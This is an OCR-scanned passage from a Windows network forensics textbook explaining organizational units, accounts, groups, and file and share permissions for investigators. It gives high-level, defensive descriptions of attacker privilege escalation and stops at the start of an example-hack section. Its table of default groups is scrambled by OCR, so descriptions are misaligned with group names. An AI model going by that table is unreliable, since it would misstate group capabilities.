required to conduct a Windows network investigation, you do need a basic understanding of trust
relationships and their impact on your case.
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Organizational Units

Sometimes an administrator might want to logically separate different users and comput-

ers within a network to ease administrative burden. Perhaps a small business unit is going to
be managed by a different network administrator to help distribute the administrative load.
Perhaps a few employees work in an offsite location with a slow wide area network link that
limits their connectivity to the rest of the domain. Maybe employees in one unit never need to
see data stored on computers in another unit. All of these situations are fairly common in the
modern workplace, but creating a separate domain (which requires the purchase of additional
domain controllers) for each such situation would not be practical or desirable. To address these
types of issues, Microsoft introduced the concept of organizational units (OUs).

Remember that a domain represents a security and administrative boundary within a net-
work and that each domain must have at least two domain controllers to function reliably. An
organizational unit is not a boundary between various machines on a network so much as it
is an administrative convenience. By breaking down large networks into various logical units,
administrators can apply certain rules, restrictions, and monitoring requirements to large sec-
tions of the network at a time rather than to each machine separately. Also, software that is
deployed through Group Policy can be pushed out to machines that are part of one OU and not
to other computers that may not need that particular product in another OU.

Administrative responsibility can be delegated for an OU. For example, a senior administra-
tor may want to give limited permissions to a junior administrator to reset forgotten passwords
in the Sales division but not give that junior admin any control over the Accounting depart-
ment’s computers. This is often done to maintain a standard security precept known as least
privilege, meaning that you assign a user only the permissions needed to complete any assigned
tasks. By dividing the network into organizational units (as depicted in Figure 2.3), administra-
tive tasks, rules, and policies can be separated based on membership in these OUs.

After OUs are created, the administrative responsibility for each OU can be delegated, and
network policies for members of each OU can be established. Computers or users can then be
added to an OU, and each member of the OU will automatically be subjected to the rules and
controls placed over that OU. It is a simple task to add or remove either a computer or a user
account from an OU or move computers or users between OUs. For example, if an employee
named Ted was transferred from the Sales department to the Human Resources department,
it would be a simple drag-and-drop operation to move Ted’s user account from the Sales OU to
the HR OU. Ted’s account would then no longer be subject to the policies that govern a member
of the Sales organizational unit but would instead be subject to the policies set for members of
the HR organizational unit. Similarly, if Ted’s workstation is moved from the Sales OU to the
HR OU, any software that is needed by Sales computers can be uninstalled and any software
needed for a computer in the HR department can be automatically installed (assuming that the
administrator has configured Group Policy—based software deployment). Clearly, this level of
automation can significantly reduce the workload of the administrators.

It is important to understand that the OU is simply a logical construct. There is no need for
the members of an OU to be physically near one another—they don’t even need to be on the
same subnet. This flexibility allows administrators to logically divide their networks in what-
ever ways best simplify the administrative process without being restricted by Physical layer
concerns.
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FIGURE 2.3
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When evaluating the network in which you will be conducting your investigation, you must
understand how organizational units are used within that network. Some networks make little
or no use of OUs, while others base a great deal of their administrative and security restrictions
on membership in an OU. If a particular machine is compromised, knowing to which OU it
belongs and who has administrative control over that OU can be very important. If a particu-
lar user account has been compromised, you must determine what, if any, control and access it
has to computers both within its OU and with other OUs. OUs are also frequently the level of
granularity at which administrators will set their system auditing (or logging) capabilities. We
will discuss audit settings more in Chapter 12, “Windows Event Logs,” but for now just under-
stand that many networks configure more intense logging in OUs that are considered important
or sensitive, so understanding the OU structure can be important when assessing where your
sources of evidence will most likely be located.

Users and Groups

A Windows domain can contain many thousands of users, and managing all of the associated
accounts and their capabilities can be extremely challenging. In this section, we will look at the
various types of accounts that can exist in a Windows network and also look at groups, which
are the main construct used to bring order to an otherwise chaotic assembly of users.
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@ Real World Scenario

1 SWEAR, THAT DATA WAS HERE A MINUTE AGO...

Be careful when you talk to users about their data. Microsoft uses a wide range of technologies
that allow administrators to store data on centralized file servers—simplifying backup and other
administrative tasks—while giving the users the appearance that the data is on their local comput-
ers. Let’s imagine that you show up at a scene and see data on a suspect’s monitor. You see a folder
open on the user’s computer, and it is full of files that meet the scope of your search warrant, so you
seize that computer and head back to the office. Imagine your surprise (and embarrassment) if you
then discover that the data was being accessed from that user’s computer but is stored somewhere
else—somewhere to which you no longer have access.

Features such as roaming user profiles, volume mount points, and Distributed File System (DFS)
can all be used to make data appear as if it is sitting on the user’s office computer when it is really
stored on a remote server in a secure data center.

These technologies can fool investigators into seizing the wrong systems. If you are targeting a par-
ticular userin a company and show up with a search warrant or other court order for their data, don’t
just assume that you should grab their office computer and call it a day. Ask the corporate network
administrator to help you locate all data storage locations available to that user, and specifically
ask about technologies (such as those listed previously) that have been implemented to facilitate
remote data storage by users; it’s critical.

For large networks, enterprise forensics tools such as EnCase Enterprise from Guidance Software
or FTK Enterprise from AccessData can help you locate all of a user’s data throughout the network
based on the Security Identifier of the user, but that is a topic for the next section.

Types of Accounts

An account is simply a representation of some type of object. Most of us immediately think of an
account as representing a human user, but in Microsoft networks accounts can represent users,
computers, or even services (processes that run automatically without a user starting them).

Each user on a system is represented by at least one user account. The name of the account
must be unique on the system, but that is not the primary way that the system tracks each
account. Instead a globally unique Security Identifier (SID) is assigned to each account. That
way, even if a user account name is changed (for example due to a marriage or other legal name
change for the user) the account’s SID remains constant for the life of the account.

It is not uncommon for one person to have multiple user accounts within the network, with
each account being assigned different rights and permissions within the system. For example, a
system administrator may have a user account with full administrative control for use in mak-
ing system configuration changes and a separate account with standard user access for routine
tasks such as checking email. It is important, therefore, to distinguish between the user (the
human being) and the user account (the set of credentials that represent a particular person or
object to the network) when discussing activities that occur on a system. For example, Windows
records activities based on the user account involved, but it cannot determine which user was
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actually sitting at a keyboard (as we will explore in more detail when we examine authentica-
tion audit events in Chapter 13, “Logon and Account Logon Events”). Some user accounts are
created by default during initial system installation. One such account is the Administrator
account, which has Full Control over almost all aspects of the system.

TERMINOLOGY NOTE

While many vendors use the term logging to discuss the automated recording of events that
occur within a network, Microsoft uses the term auditing. Instead of referring to records in a
log, Microsoft refers to events in an audit or event log. We will generally follow this standard
Microsoft terminology when referring to Microsoft event logs.

In addition to user accounts, Windows has accounts that represent the computers within the
network. These accounts (conveniently called computer accounts) are the way in which the net-
work refers to and recognizes individual computers. In a domain environment, the domain con-
trollers (as part of Active Directory) maintain a list of all computers that have been joined to the
domain by assigning a computer account to each one. These accounts can be placed into orga-
nizational units and have policy restrictions set on their use. Computer accounts are assigned
unique passwords to permit them to authenticate to the network. Indeed, in Chapter 13 you will
see audit events showing where one computer’s account is used to log on to other computers for
purposes of proving that it is authorized to participate in a file transfer or similar activity.

Figure 2.4 shows a domain controller’s Active Directory Users and Computers Microsoft
Management Console. This is the primary tool used by administrators to organize and
manipulate organizational units, users, and groups. In the left pane of this figure, you see the
example.com domain, which contains three organizational units (Sales, Research, and Human
Resources). In the right pane, you see the members of the Sales OU. The first six entries are for
different computer accounts. The second six entries are different user accounts. All 12 of these
accounts are subject to any policies that the administrator may apply to the Sales OU.
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FIGURE 2.5
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The third and final type of accounts that we will discuss is service accounts. We will discuss
Windows services and service accounts in more detail in Chapter 3, but for now simply under-
stand that a service is a process that runs without a user starting it. A service account is used to
represent to the rest of the system and/or network which rights, permissions, and so on to grant
to requests from that service.

Now that we have identified three uses of accounts, we must address the issue of the security
authority that authorizes and maintains the accounts. Remember in our earlier discussion of the
difference between a workgroup and a domain, we mentioned that a workgroup is basically a
group of independent computers that share information. We also mentioned that by joining a
domain you gain centralized administration and security at the expense of losing some of the
autonomy of your computer.

If a computer is not part of a domain, then it must create and use its own user accounts.

The local administrator of the computer gets total control over what accounts are created, and
only accounts created on that system can be used to log on to that system. The details of these
accounts (such as their names and their passwords) are stored in the Security Account Manager
(also called the SAM) database of the computer. We will discuss the SAM, its contents, and its
location later in Chapter 4 and Chapter 8. Since these accounts are stored locally on the com-
puter and are usable only locally on that computer, they are referred to as local accounts. A local
account can be a user account, a computer account, or a service account. The term local account
refers to the security authority that creates, stores, and uses the account. In the case of a local
account, that security authority is the local computer itself.

Figure 2.5 shows a local Computer Management console displaying various local user
accounts for a single Windows XP computer. These accounts exist and are valid only on that
one machine. The three accounts with Xs in the corner of their icons (Guest, HelpAssistant, and
SUPPORT...) are default user accounts created during system installation. The Xs indicate that
they are disabled, meaning that they are still stored in the computer’s SAM, but they cannot be
used until activated by the administrator. The Administrator account is also created by default
at system installation and is left in an activated state on Windows XP.
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The default Administrator account was a huge security problem in Microsoft domains, as
you will see both in this chapter and in Chapter 4. In response, starting with Windows Vista
and continuing through to Windows 7, Microsoft addressed the issue. Now, when a Windows 7
system is first created, the default Administrator account is created in a disabled state, as indi-
cated by the downward-facing arrow shown in Figure 2.6.
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While each computer can have its own list of authorized user accounts, if a computer joins a
domain, it surrenders some of its control to the domain. Domain controllers also store informa-
tion about accounts (as part of Active Directory). These accounts are valid for logons throughout
the domain, they are created on the domain controllers, and they are stored in the domain con-
trollers’ Active Directory. Accordingly, these accounts are referred to as domain accounts.

The advantage to a domain account is its portability. For example, if a domain contains 100
computers and a new employee needs the ability to log on to any of the 100 computers, the
domain’s administrator need only create one domain user account for the new employee. Since
it is a domain account, it is valid throughout the domain, and that one account can be used by
the new employee to log on to any computer within the domain. However, if the employee is
allowed to use only 10 of the computers within the domain, restrictions can be placed on the
employee’s domain user account to allow only the appropriate access, but still only one account
needs to be created.

Compare this situation to one where a new employee is added to a workgroup that contains
100 computers. If the employee needs to access 10 of these computers, 10 separate local user
accounts would need to be created (one on each of the 10 computers that the employee must
access). If the employee later needs to change his password, with a domain user account only
one update needs to be made. However, in the workgroup example, each of the 10 local user
accounts is a separate local account, and the password would need to be updated independently
on each computer.

Because domain accounts are valid throughout a domain, an attacker who compromises the
password for a single domain account can use that one account to log on to many different com-
puters throughout that domain (or, as you saw previously, any domains that trust that domain).
This fact makes domain accounts a preferred target for attackers. If an attacker gets access to
a local Administrator account, she can access anything on that one computer; however, if she
gains access to a domain Administrator account, she owns the whole domain!
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SUMMARY OF ACCOUNT TYPES

Here is a summary of the types of accounts with which we will be concerned:

€ Local accounts (stored in local computer’s SAM and valid only on that computer). Local
accounts can be:

€ Useraccounts: Represent a user to the network
& Computer accounts: Represent a computer to the network
& Service accounts: Represent a service to the network

4 Domain accounts (stored in Active Directory on a domain controller and valid throughout
the domain). Domain accounts can also be:

¢ User accounts
¢ Computer accounts

& Service accounts

Groups

In any network, one of the biggest administrative challenges is ensuring that each user’s account
has the ability to access all of the network resources that the user needs without giving the
account unnecessary access to other resources. In order to help simplify this process, Microsoft
networks use the concept of groups. A group is simply a collection of accounts to which various
capabilities can be assigned. An example of a group might be HR Employees. The administrator
can create a group called HR Employees and assign all of the necessary access permissions that
people who work in the Human Resources department will need to the HR Employees group.
The administrator can then add the user accounts for the various users who work in the HR
department to the group, and each user account inherits all of the permissions of the group. This
saves the administrator from having to configure all of the necessary capabilities on each of the
employees’ user accounts, resulting in less administrative effort and decreased chance of error. If
a new employee is hired or transferred into the HR department, simply adding that employee to
the HR Employees group ensures that he has all of the necessary permissions to perform his job.

@ Real World Scenario

LOCAL ACCOUNTS IN DOMAIN ENVIRONMENTS

One of the harder concepts for many newcomers to Microsoft networking to grasp is that local
accounts continue to exist even when computers come together to form a domain. Domain con-
trollers contain domain accounts and only domain accounts; however, all other computers that
participate in a domain still retain their local accounts as well. As a result, most computers in a
domain can be accessed either by logging on with a domain account or by logging on directly to
one of the computer’s local accounts. In normal practice, once a computer is joined to a domain,
the local accounts are no longer used; however, they might still exist.
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Every computer (except domain controllers) that participates in a domain still has the default
Administrator local user account that was created during initial system installation. This fact is
often exploited by attackers who will target it as a means of gaining access to individual systems
within the network. This problem is exacerbated when poor network administration practices
are used. In the days of Windows XP clients, this was a huge problem, as outlined next:

Consider Cosipo, Inc., a company that is deploying 25 Windows XP-based computers. The admin-
istrator, Robert, is spending all night doing the deployments to avoid disruption of the users’
workday. During the initial installation and configuration, Robert is asked to input a password
for the default local Administrator account. He realizes that this local account will never be used
(since all of the network administrators use their own domain user accounts with administra-
tor privileges to log on to all computers within the domain). Robert chooses some password for
the first computer’s local Administrator account. When he proceeds to the next computer to be
installed, he again uses the same password for its local Administrator account to keep things
simple, since it is easy for him to remember and he’s not overly creative late at night. By the time
he has installed all 25 new computers, they each have the same local Administrator password.
(He’s going to wish he wasn’t so blurry-eyed.)

Susan from the HR department is at the end of her rope. She views her boss as completely unrea-
sonable, and no matter how hard she works, she feels that she never receives an adequate raise.
The fact that the company just gave her a new computer running Windows XP isn’t making her
any happier, so she decides to crack the password for her assigned workstation (a relatively simple
operation on Windows XP computers, as you will see in Chapter 4). Susan now has the ability to
log on to her local workstation as the administrator, giving her full control over the system, and,
since Robert, the network administrator, used the same password on 24 other systems, she can
now gain full control over each of them as well by using the same username (Administrator) and
password. Systems that use a different password are not compromised, since the compromised
password was for a local Administrator account, not a domain Administrator account (and local
accounts are valid only for the computer on which they are stored), but Susan now has full access
to the other 24 computers that used the same Administrator password, and she’s really hoping
that her boss’s computer is among them.

The fact that Windows Vista and Windows 7 disables the default Administrator accounts by
default helps mitigate the scenario, but these systems can still have local accounts, and these
accounts can still have elevated privileges. Therefore, depending on the way in which the client
computers are installed and configured, this issue still exists. It is also a concern with the older
Windows XP systems that are still in service on many domains, especially when they are used
as public kiosk computers that can be accessed by anyone who cares to walk up to them. It is
important to determine the status of any local accounts in the domain you may be investigating,
particularly when unauthorized access attempts are suspected.

In Chapter 13, we will further explain how domain accounts are used to authenticate users. Then
we will cover ways in which investigators can determine whether a person is using a domain
account or a local account to log on to a computer, and we’ll further explore the issue of using
local accounts within a domain environment.

Figure 2.7 shows the HR Employees group that was created in Active Directory of the
example.com domain controller. The group currently has three members, each of whom receives
all of the capabilities assigned to the HR Employees group. By adding another user account to
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this group, that account would also automatically receive the capabilities of the group, reducing
the amount of work required by the administrator to configure the new account.
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Accounts can belong to multiple groups at the same time. If a user account belongs to the
HR Employees group and also to the Managers group, the account has all of the permissions
assigned to both of these groups. This example is shown in Figure 2.8. Microsoft recommends
creating a group for just about everything. Have a fancy large-format printer that you want to let
only certain people use? Create a group, give the group the permissions to print to the printer,
and then add any users who get to use the printer to the group. Need to restrict access to some
sensitive data? Create a group called People Who Get To Access The Sensitive Data, give that
group permissions to access the appropriate data, and then add user accounts to that group. You
get the idea.

The end result of all of these groups is that determining exactly what a user account is
capable of doing can involve analyzing to which groups the account belongs, determining what
capabilities each of these groups has, and looking at the sum of all of these various capabili-
ties. In most cases, this is a rather straightforward task, but in some environments this can be
fairly time consuming. We'll look at this in more detail when we cover permissions later in this
chapter.

Attackers love groups. All an attacker needs to do in order to increase his access to the net-
work is get a user account that he controls added to a group that has the capabilities that he
desires. While that may involve learning what groups have been created and what capabilities
each group has been assigned, there are some groups that are created by default that have all
sorts of elevated abilities. If an attacker gets an account in one of those groups, he gets the per-
missions he needs to wreak all kinds of havoc. While many default groups are created at system
installation (particularly on a domain controller), some of the more interesting default groups
are listed in Table 2.1.
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TABLE 2.1:

DEFAULT GROUP NAME

Backup Operators

Administrators

Domain Admins

Enterprise Admins

Account Operators

Common default groups

CAPABILITIES OF GROUP MEMBERS

Members of this group can backup (i.e., copy) any data on the system.

Clearly, this could be useful if a hacker wanted to steal information froma

computer.

Members of this group have permission to do just about anything on the

computer, including override allaccess restrictions.

Members of this group become members of the Administrators group

for every computer in the domain. This is a frequent target of hackers for
obviousreasons.

control over all machines in the entire forest.

members of most groups.

The hacker’s Holy Grail; members of this group have full administrative

Members of this group can create, delete, and modify user accounts and

There are many more facets to dealing with Microsoft groups. In truth there are multiple
types of groups, and groups can contain not only accounts but also other groups (resulting
in nested groups). It is not necessary to understand all of the complexities of groups in the
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Microsoft world in order to perform effective investigations. Understanding that membership
in a group conveys all of the capabilities of that group to the user account and realizing that this
fact is often exploited by attackers are the key points to carry forward as you continue.

GROUPS AS A WAY OF INCREASING PRIVILEGE

Attackers will frequently add users to privileged groups as a way of increasing their control of a
system. If an attacker compromises a system using a remote exploit that allows him to run arbi-
trary commands as the Administrator account, that control lasts only as long as the vulnerability
remains unpatched on that system (we’ll discuss this concept more in the next chapter). To ensure
that he can come back to the compromised system at any time in the future, the attacker may
create an account with a password that he sets and then add that account to the Administrators
group. This allows the attacker to log on to that system again using his own account, and its
membership in the Administrators group gives him full administrative control over the victim
system. We will look at an example of such an attack later in this chapter.

Permissions

So far, we have discussed various ways in which Microsoft networks can be organized. At the
highest level, domains and forests provide logical separation of large groupings of computing
resources and users. Within a domain, the computers and users can be further categorized into
different organizational units for use in assigning different policies to different parts of the net-
work environment. Finally, we discussed groups, which are used to assign specific capabilities
to access different network resources to multiple users at a time in order to simplify administra-
tive tasks and provide a logical order to what can be a large network environment.

Now we are going to turn our attention to controlling access to specific resources. Up to this
point, we have generally used the generic term capabilities to refer to the ability of an account
or group to access a specific resource. We will now introduce the concept of permissions, which
is the way that Windows handles controlling access to specific resources within a network.
Permissions are assigned to network resources (files, printers, and so on) that users may wish to
access. Permissions are set on the object being used and grant the ability for a specific account or
group to access that object.

One of the most common uses of permissions is to regulate access to particular files or fold-
ers. Permissions are set in the properties of a file or folder, creating a list of which accounts
may use that file or folder. This list is referred to as an access control list, or ACL. Each object
(file, folder, or printer) maintains its own access control list, which specifies which accounts are
granted permission to the object and exactly which access permissions each account may exer-
cise on that object.

There are multiple different types of permissions that can be granted to an account or group.
For example, a file’s permission list may be set to allow members of the Administrators group
to exercise Full Control over the file but to allow members of the Users group (a default group
representing all authenticated users of a system) only the permission to read the file (but not
change, rename, delete, or otherwise modify the file).



PERMISSIONS | 45

On the surface, permissions are a very easy concept. You set permissions on an object that
determine what accounts are allowed to do to or with that object. The waters begin to get a little
muddy when you discover that there are actually two different sets of permissions that can be
set on each object (consider it job security; if it were too easy, your agency could hire anybody to
do this stuff!). The first set of permissions is called file system permissions, or file permissions.
The second set of permissions is called share permissions. We will explain how each set of per-
missions works, look at examples of each, and discuss how the two different sets of permissions
relate to each other.

POLICIES, RIGHTS, AND PERMISSIONS, OH MY!

Microsoft terminology can get a little complicated, and in truth the meanings of these terms
frequently get intermingled in common geek usage. Here are the definitions of policies, rights,
and permissions as they will most often apply to your investigations.

Policies Policies are rules set by the administrator that apply to entire domains, organiza-
tional units, or computers. Examples would be the minimum password complexity for a user
account, automatic installation of software onto a computer when it is joined to a domain,
and which events get audited on a particular computer.

Rights Rights are abilities assigned to a particular account. Rights can include things like
the ability to back up (copy) files even when the user doesn’t have the permission to view
those files and the ability to shut down a system.

Permissions Permissions are assigned to files or other objects that users might wish
to access. Permissions determine which accounts are allowed to access particular files or
resources and which level of access each account is granted. Examples include the permission
to read, write, or delete a file or the permission to send a print job to a printer.

File Permissions

The first set of permissions that we are going to discuss is the file system permissions, also
called the file permissions. These permissions are set through the Security tab of the Properties
dialog of a file, folder, or other object. The permissions set here are enforced by the NTFS (New
Technology Filesystem) upon which most modern Windows installations reside. We will discuss
NTEFS in detail in Chapter 7, but for now understand that file permissions exist (and the Security
tab is visible) only on Windows systems that use NTFES as their filesystem. If you are using a
computer that uses the FAT32 filesystem, the Security tab will not appear.

We'll now look at an example of file permissions. In Figure 2.9, you see a folder called
Managers Data that contains two additional folders, Evaluations and Discipline Reports.If
you right-click the Evaluations folder and select Properties, you will open the Properties win-
dow for the Evaluations folder. By selecting the Security tab, you will open the view shown in
Figure 2.10.
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FIGURE 2.9

The Managers
Data folder and its
contents

FIGURE 2.10

By right-clicking the
Evaluations folder
and selecting Prop-
erties, then clicking
the Security tab,
you end up with the
view shown here.

In Figure 2.10 the Security tab shows the file permissions assigned to the Evaluations
folder. In this case, two groups are able to access the folder: Administrators and Managers.
Note that these are each groups, not accounts. Microsoft encourages administrators to
avoid assigning permissions directly to individual accounts and instead to assign permis-
sions to groups. By including an account in a group, that account gains all the permissions
assigned to that group. While this may seem confusing, it does simplify the workload for
administrators as people come and go from organizations and get reassigned to new roles
within the organization. Figure 2.10 also shows that members of the Managers group have
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Full Control to the Evaluations folder, which grants them permission to do anything to
the folder, including delete it. In Figure 2.8, you saw that the jcousins account is a member
of the Managers group; therefore, the jcousins account would have Full Control over the
Evaluations folder.

Since accounts can be members of multiple groups, and multiple groups can be given differ-
ent permissions for any given object, it can sometimes be time consuming to examine which
groups a particular account belongs to and which permissions that account therefore has for
that object. Fortunately, the operating system will handle that task for you. If you were to click
the Advanced button on the bottom right of the window shown in Figure 2.10, you would see
a window similar to the one in Figure 2.11. The Effective Permissions tab allows you to type
in the name of an account or group, and the system will calculate the resultant set of permis-
sions given to that account (or group) for this object as a result of all of its group memberships.
In Figure 2.11 you see that since the jcousins account is a member of the Managers group, and
the Managers group has Full Control of the Evaluations folder, the jcousins account has Full

Control of the folder.
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Since file permissions are enforced by the filesystem itself, these permissions and restrictions
apply any time an account attempts to access the object. It does not matter if the attempt origi-
nates from a user sitting at that computer’s keyboard or from a user remotely accessing the sys-
tem from across the globe; the filesystem permissions will be checked and their rules enforced
before any access is granted to the object. As you will see in the next section, the second set of
permissions (called share permissions) is not as consistent in its application.
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PERMISSION TO NOT CARE?

If you feel like you are getting a little deep into administrator land and a little far from the realm
of investigations, stick with us. Permissions are vital in a lot of network investigations since they
determine which accounts are able to access particular files. Since many attacks compromise
information, it is necessary to evaluate the compromised files to see which accounts had permis-
sion to access them. This can help identify an initial list of suspect accounts. If groups are given
permission to access the compromised file, a logical investigative step would be to check those
groups for members who do not belong. As we mentioned earlier, hackers often add accounts that
they control to groups with permissions that they want to acquire. Understanding permissions
is an important part of the investigative process.

Share Permissions

The second type of permissions that we will explore is share permissions. These are the per-
missions that govern who has access to resources that are made available, or shared, to other
computers and users who wish to access the resource remotely. The key thing about share per-
missions is that they apply only to remote connections. If an account is interactively logged on
to the system (such as when the user is sitting at that computer’s keyboard or when a remote
desktop session is being used), then share permissions have no effect.

This caveat of share permissions is a frequent source of confusion for users and some admin-
istrators. It is not uncommon to arrive at the scene of an incident where an administrator claims
that someone circumvented the permissions on some file and made off with sensitive informa-
tion. Upon examination of the system, you will find that the compromised file had share per-
missions set to be very restrictive but with file permissions set to allow Full Control to all users,
allowing anyone interactively logged on to the system to freely access the data.

Share permissions are set in much the same way as file permissions. You access them by
right-clicking an object and selecting Properties, but you then select the Sharing tab and then
click the Advanced Sharing button (the resulting screen is shown in Figure 2.12). Once you
enable file sharing for the object, it becomes available for other users to access based on the per-
missions that are set on the object.
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To set the share permissions, simply click the Permissions button on the Advanced Sharing
screen. This will display the share permissions, as shown in Figure 2.13. Notice that the Everyone
group (which represents any and all accounts that can access the system) is given the Read per-
mission on this Windows Server 2003 computer. The relationship between share permissions and
file permissions has even caused confusion for the brain trust at Microsoft. In the Windows 2000
days, the system defaulted to giving the Everyone group Full Control, and administrators were
taught to use the file permissions (which apply whether the access is local or remote) to secure
sensitive data. With Windows XP and Server 2003, Microsoft changed the default behavior to give
the Everyone group the Read permission only, requiring an overt act by the owner of the resource
or the administrator to allow anyone to be able to modify the object that has been shared from
across the network. With Server 2008 and Windows 7, the permissions are determined based on
the way that the file is shared and the settings that are applied by the user when the share is cre-
ated. Regardless of how the folks at Microsoft envision this feature to be used, those of us who
work in the real world see that many administrators fail to understand permissions, and many
investigations will reveal that data was compromised as a result of faulty permission settings.

It is important to note that although the Everyone group has been given the Read share
permission to the Evaluations folder, everyone cannot read the contents of the folder. We will
explore this issue in more detail in the next section as we look at the relationship between share
permissions and file permissions.
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SHARE VS. FILE PERMISSIONS

Remember that share permissions are checked only when a file is accessed across a Microsoft
share (a remote connection using the Server Message Block (SMB) protocol to transfer informa-
tion about files and folders). Share permissions are not checked when a request is made from an
account thatis logged on interactively (that is, the user is sitting at the same computer’s keyboard
or using a remote desktop connection to run processes directly on that computer).

File permissions are always checked whenever a file on an NTFS volume is accessed. It does not
matter whether the user is on the same system or is located on the other side of the world.
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Reconciling Share and File Permissions

File sharing is a common method of disseminating information within a network. A file or
folder that contains information that multiple users need to view, alter, or collaborate on is
shared on a server, and the appropriate permissions are given to the appropriate groups of
users to perform their job function. As a result, a great deal of data is sitting on networks at this
moment relying on permissions to protect it from unauthorized disclosure. When those permis-
sions fail to do what the system administrator thought they should do, you will be the one to get
the call.

In order to address these situations, you need to understand how to evaluate share permis-
sions, file permissions, and how the two come together to form the effective access control on a
particular object. The first thing to consider is how the object is being accessed. If the access is
interactive (meaning it originates from a session on the same computer, such as when the user is
actually sitting at the keyboard or has a remote desktop session established), then share permis-
sions do not apply and can be ignored. In these cases, you calculate the access granted by the file
permissions assigned to each group or user, and your work is done. Share permissions apply
only when the access is from across a network connection in response to a remote request and
therefore would not factor into this situation.

The situation is a little more complex when the request originates from one computer for
information that is stored on another computer (such as a client machine accessing files on a file
server). In this case, both the share permissions and the file permissions must be analyzed. The
best approach is to first evaluate the share permissions. In our example in Figure 2.13, the share
permissions are set so that members of the Managers group can access the shared folder with
Full Control, and everyone else can only read the contents of the folder. Let’s examine two pos-
sibilities: first, a member of the Managers group trying to access the file from a remote connec-
tion, and second, a user who is not a member of the Managers group trying to access the folder
from a remote connection.

If jcousins, a member of the Managers group, attempts to access the folder from a remote
connection, the share permissions are evaluated by the system first. According to the share
permissions, jcousins is a member of the Managers group, and the Managers group has Full
Control. The system allows the connection to complete and goes to retrieve the contents of the
folder to display to jcousins. At this point, the data in the Evaluations folder is about to be
accessed, but before this can happen, the file permissions must be checked. Whenever the data
in the folder is accessed, the file permissions are first consulted. In this case, jcousins is a mem-
ber of the Managers group, and the Managers group has Full Control, as listed in the file per-
missions on the Security tab of the Evaluations folder. Therefore, the file access succeeds.

Now, if gjewelT (who is not a member of the Managers group) attempts to access the con-
tents of the Evaluations folder from a remote connection, the share permissions are consulted.
User gjewel1 is not a member of the Managers group, so those share permissions do not apply.
Since gjewel1 is a member of the Everyone group (by definition, all accounts are members of
the Everyone group), gjewel1 is given the Read share permission and passes the share permis-
sion test. At this point, the system must access the data in the Evaluations folder in order to
display it to gjewel1, but before that can happen, the file permissions must be checked. In this
case, gjewell is not a member of the Administrators group, nor is that account a member of the
Managers group. Since those two groups are the only ones granted permission to the folder, and
since gjewel1 is not in either group, the access is denied and gjewe11 cannot see the contents of
the Evaluations folder despite the share permissions setting.
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@ Real World Scenario

MERCHANTS OF REASONABLE DOUBT

As you now know, both sets of permissions must be properly configured to permit a remote con-
nection to an object. If either the share or the file permissions do not grant an account access to
an object, then that account cannot access that object using a remote connection. Remember that
any interactive access (such as when the user is sitting directly at the keyboard of the computer
that stores the data to be accessed) does not involve the share permissions, and thus it can succeed
even if the share permissions would have prohibited such a connection from occurring remotely.

For example, consider a file that is set to have only the following permissions:

Share Permissions
Managers group: Full Control

Sales group: Full Control

File Permissions
Everyone group: Full Control

If domain user account joe, amember of neither the Sales nor the Managers group, tries to access the
file from a remote connection, the connection attempt will fail since joe does not have membership
in either of the groups that are required by the share permissions to access the file. Even though the
file permissions would grant him Full Control, the share permissions restrict his access attempt
since they apply to remote connections. Now, consider if instead of trying to access the file remotely,
user Joe walks to the computer where the file is stored and uses his domain user account joe to log
on interactively at that computer. In this case, when he tries to access the file, the share permis-
sions are not consulted, since they apply only to remote connections. Here the only permissions
that will be evaluated are the file permissions, and joe will be given Full Control access to the file.

This distinction isimportant for an investigator to understand for two primary reasons. The first, as
we have already discussed, is that mistakes from administrators frequently lead to compromises of
sensitive data that send administrators screaming to investigators about being hacked. The second
reason is so that investigators do not propose a theory of a crime that is impossible given the per-
missions. For example, if you were to testify that it is your belief that Joe in this scenario used his
domain user account joe to log on to his workstation and access the file remotely, you might have
aproblem if a defense expert points out that the share permissions would prohibit such an activity.
It might be that Joe did steal the data, but if your theory of the crime turns out to be impossible,
you will lose credibility with the jury.

A good friend of ours is fond of referring to defense attorneys as “merchants of reasonable doubt.”
Getting juries to understand a computer crime case can be tricky (see Chapter 16, “Presenting the
Results” for more on that topic). All a defense attorney must do to convince a jury that reasonable
doubt exists (and therefore a “not guilty” verdict must be returned) is to make you look incompe-
tent. Little mistakes such as the one just described can be all that a good defense team needs to cast
doubt on your ability and get a guilty person to go free. In the area of computer crime investigation,
there is very little room for error, so make sure that your investigations are thorough, complete,
and accurate, and make sure that you are well prepared to provide technically accurate testimony
in a clear and concise manner.
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Example Hack

Now that you have a good understanding of how Microsoft networks are structured, we'll take
a detailed look at how an attacker might exploit this structure to increase his control over the
network. We will demonstrate how a hacker can use an exploit to break into a Windows 2008
Server, create a local user account on that server, and add that account to the Administrators
group on that server. In this way, even if the administrator patches the vulnerability that the
hacker used to compromise the box, the hacker will still have an account with administrator
privileges on the server to gain access to the server at a later date.

The first problem that the hacker must address is how to initially compromise the system.
In the real world, this should be the most challenging step of this process for the hacker, since
once vulnerabilities are discovered, vendors generally release a patch (or fix, or update, or some
similar term) that corrects the problem. However, many times when a new vulnerability is
announced, a race occurs. On the one hand, the vendor must first create and distribute a patch.
Then administrators must receive the patch and test it to ensure that fixing one problem doesn’t
cause any new problems. Finally, the administrators must deploy the patch to all affected
systems. On the other side, the hacker community is trying to analyze the vulnerability and
develop a tool that will take advantage of it in order to provide access to the vulnerable systems.

HACKING 101

As we have mentioned, this book is intended as an intermediate-to-advanced text and assumes
a fair amount of knowledge; however, in the interest of leaving no one behind, we will provide
a brief (and oversimplified) description of the hacking process. A more thorough primer of this
topic can be found in the Hacking Exposed series of books by Joel Scambray, Stuart McClure, and
George Kurtz.

Step 1: Target Recon The first thing a hacker must do is find a target to attack. This step
might involve social engineering to learn more about a particular network, using automated
scanners to search for systems with known vulnerabilities, or manually attempting to map
out as much information about a network and its computers as possible.

Step 2: Vulnerability Exploitation Occasionally, programmers make mistakes. Some of
these mistakes subject the system to potential compromise. A server is, at its core, a sys-
tem that listens for requests and then performs some action in response to those requests.
Sometimes a server can be tricked into receiving a specially formulated request that results
in an undesirable reaction from the server. Here are some examples of these undesirable
reactions:

Denial of Service Perhaps the server will simply experience an inability to continue
operating properly. The server may stop responding to other requests or may shut down
all together.

Remote Code Execution The server may allow the attacker to runindividual commands
on the server. These commands can run at various privilege levels. In the Windows realm,
the worst-case scenario would be a vulnerability that allows the attacker to execute com-
mands as the administrator or even as the operating system itself.
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Remote Interactive Logon In this case, the vulnerability allows that attacker to fully
log on to the system from anywhere in the world. Again, the level of access gained by the
hacker at this point can vary depending on the exploit.

Local Privilege Escalation Some vulnerabilities allow users who already have normal
